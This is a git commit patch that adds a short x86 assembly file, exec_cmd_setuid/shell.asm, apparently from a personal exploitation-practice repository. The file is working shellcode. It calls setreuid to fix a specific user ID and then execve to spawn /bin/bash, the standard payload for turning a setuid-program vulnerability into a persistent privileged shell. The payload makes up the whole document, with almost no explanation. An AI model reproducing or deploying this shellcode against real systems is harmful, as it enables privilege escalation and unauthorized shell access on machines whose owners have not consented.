From 0c7b4ed75157aa9d781e4eec92a0a604c4c45c9c Mon Sep 17 00:00:00 2001
From: Brett Weiland <techcrazybsw@gmail.com>
Date: Fri, 20 Nov 2020 17:57:20 -0600
Subject: 	new file:   exec_cmd/makefile 	new file:   exec_cmd/shell 
 new file:   exec_cmd/shell.asm 	new file:   exec_cmd/shell.o 	new
 file:   exec_cmd_setuid/makefile 	new file:   exec_cmd_setuid/shell 
 new file:   exec_cmd_setuid/shell.asm 	new file:   exec_cmd_setuid/shell.o

---
 exec_cmd_setuid/shell.asm | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 exec_cmd_setuid/shell.asm

(limited to 'exec_cmd_setuid/shell.asm')

diff --git a/exec_cmd_setuid/shell.asm b/exec_cmd_setuid/shell.asm
new file mode 100644
index 0000000..504685f
--- /dev/null
+++ b/exec_cmd_setuid/shell.asm
@@ -0,0 +1,28 @@
+global _start
+_start:
+jmp short data
+
+exploit:
+
+xor edx, edx
+
+xor eax, eax ; set reuid
+xor ebx, ebx
+xor ecx, ecx
+mov al, 203
+mov bx, 14005 
+mov cx, 14005
+int 0x80
+
+xor eax, eax
+xor ebx, ebx
+xor ecx, ecx
+pop edx
+mov [edx + 10], eax
+mov al, 11
+mov ebx, cmd
+int 0x80
+
+data:
+call exploit ; this puts the address of where we're at (where the string is!) in the stack and jmps to start 
+cmd: db '/bin/bash'
-- 
cgit v1.2.3